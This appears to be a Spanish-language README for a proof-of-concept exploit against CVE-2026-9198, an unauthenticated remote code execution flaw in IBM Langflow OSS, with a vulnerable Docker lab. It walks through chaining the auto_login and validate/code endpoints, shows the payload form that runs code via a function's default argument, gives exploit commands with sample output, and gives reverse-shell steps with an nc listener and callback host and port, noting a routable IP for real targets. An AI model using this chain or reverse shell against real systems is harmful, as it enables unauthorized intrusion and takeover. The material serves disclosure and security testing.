Prueba de concepto del exploit para CVE-2026-9198, un RCE no autenticado en IBM Langflow OSS, que encadena los endpoints auto_login y validate/code. Incluye un laboratorio Docker vulnerable para pruebas autorizadas y educación.
Prueba de concepto del exploit y un laboratorio Docker autónomo para CVE-2026-9198, una vulnerabilidad de ejecución remota de código sin autenticación en IBM Langflow OSS.
El exploit encadena dos endpoints — auto_login (que entrega un token SUPERUSER a
cualquiera) y validate/code (que ejecuta Python proporcionado por el atacante) — para obtener
ejecución de código como el usuario del servicio Langflow, sin necesidad de credenciales.
[!WARNING] Solo para pruebas de seguridad autorizadas y fines educativos. Ejecuta esto exclusivamente contra sistemas que poseas o para los que tengas permiso escrito explícito para probar. El laboratorio Docker de este repositorio es deliberadamente vulnerable — mantenlo en tu máquina y nunca lo expongas a internet. Eres responsable del uso que hagas de este código.
| CVE | CVE-2026-9198 |
| Producto | IBM Langflow OSS |
| Afectadas | 1.0.0 – 1.10.0 |
| Corregida en | 1.10.1 |
| CVSS 3.1 | 9.8 Crítico — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-94 — Control inadecuado de la generación de código ('Inyección de código') |
| CISA KEV | Sí — explotada activamente en la naturaleza |
El exploit es una cadena de dos pasos que no requiere autenticación:
GET /api/v1/auto_loginLangflow incluye LANGFLOW_AUTO_LOGIN habilitado por defecto. Cuando lo está, el
endpoint auto_login emite un JWT SUPERUSER de larga duración a cualquier llamante, sin
pedir credenciales:
{ "access_token": "eyJ...", "refresh_token": "eyJ...", "token_type": "bearer" }
POST /api/v1/validate/codeDesde la versión 1.3.0 este endpoint requiere autenticación (esa fue la corrección para
CVE-2025-3248) — pero el paso 1 acaba de entregarnos un token SUPERUSER válido, así que la barrera es
inútil. Internamente, el endpoint llama a validate_code(), que compila y ejecuta
cada definición de función que recibe:
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
try:
exec(code_obj) # <-- ejecuta la def
except Exception as e:
errors["function"]["errors"].append(str(e)) # <-- la salida se filtra de vuelta aquí
Ejecutar una sentencia def evalúa los valores de sus argumentos por defecto. Así que una función
cuyo argumento por defecto es exec("...") ejecuta código arbitrario en el momento en que se
valida — la función ni siquiera se llama. Cualquier excepción lanzada se captura y se
devuelve en la respuesta bajo function.errors, que el exploit usa para leer
la salida del comando de vuelta a través de HTTP.
Forma del payload (el comando está envuelto en base64 para sobrevivir a cualquier comilla):
def _(a=exec('... subprocess.run(<cmd>) ...; raise Exception(<output>)')):
pass
.
├── exploit.py # el PoC (ejecución de comandos + shell inversa)
├── docker-compose.yml # laboratorio vulnerable: langflow 1.10.0 + postgres
├── requirements.txt # requests
└── README.md
requests (pip install -r requirements.txt)docker compose up -d
Langflow tarda uno o dos minutos en estar listo en el primer arranque. Espera hasta que responda:
curl -fs http://127.0.0.1:9999/health && echo OK
El servicio está vinculado a 127.0.0.1:9999 a propósito — no es accesible desde tu
red.
Instala la dependencia y luego apunta el exploit al laboratorio.
pip install -r requirements.txt
python3 exploit.py --url http://127.0.0.1:9999 --cmd "id"
Ejemplo de salida:
[*] target: http://127.0.0.1:9999
[*] step 1: requesting SUPERUSER token from /api/v1/auto_login
[+] got SUPERUSER token: eyJhbGciOiJIUzI1NiIs...
[*] step 2: reaching RCE through /api/v1/validate/code
[*] executing command via validate/code: 'id'
[+] command output (returned via function.errors):
------------------------------------------------------------
uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)
------------------------------------------------------------
Cualquier comando funciona: --cmd "uname -a && whoami && cat /etc/os-release".
Inicia un listener:
nc -lvnp 4444
Luego dispara el payload. Cuando el objetivo se ejecuta en Docker en la misma máquina, el
contenedor alcanza tu host en host.docker.internal (Docker Desktop); en un objetivo
real usa tu IP enrutable:
python3 exploit.py --url http://127.0.0.1:9999 \
--reverse-shell --lhost host.docker.internal --lport 4444
Obtienes un /bin/sh interactivo en tu listener como el usuario langflow.
| Flag | Descripción |
|---|---|
--url | URL base del objetivo (obligatorio) |
--cmd | Comando a ejecutar (por defecto id) |
--reverse-shell | Entregar una shell inversa en lugar de ejecutar --cmd |
--lhost / --lport | Host y puerto de devolución de la shell inversa |
--token | Usar un token bearer proporcionado y omitir auto_login |
--timeout | Tiempo de espera por solicitud, en segundos (por defecto 15) |
--insecure | Omitir la verificación TLS (para objetivos https) |
LANGFLOW_AUTO_LOGIN=false,
y establece credenciales reales de superusuario.validate/code sobre la que se construye esto)